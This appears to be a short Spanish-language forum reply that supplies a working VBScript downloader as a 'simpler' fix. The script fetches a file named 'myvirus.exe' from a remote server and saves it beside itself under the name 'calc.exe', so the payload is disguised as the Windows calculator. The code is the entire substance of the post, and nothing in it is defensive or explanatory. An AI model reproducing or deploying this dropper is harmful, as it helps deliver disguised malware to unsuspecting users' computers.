Ya he visto el problema .. intentalo así que es más sencillo (mismo método)
Saludos
Código (vb) [Seleccionar]
Set objxmlhttp = CreateObject("Microsoft.XMLHTTP")
objxmlhttp.Open "GET","http://www.myserver.com/myvirus.exe",0
objxmlhttp.Send()
Do until objxmlhttp.readystate = 4
wscript.sleep 200
Loop
Folder = replace(Wscript.scriptfullname,Wscript.scriptname,"")
Set objADO = CreateObject("ADODB.Stream")
objADO.Mode = 3
objADO.Type = 1
objADO.Open()
objADO.Write(objxmlhttp.responseBody)
objADO.SaveToFile Folder & "\calc.exe",2
Saludos
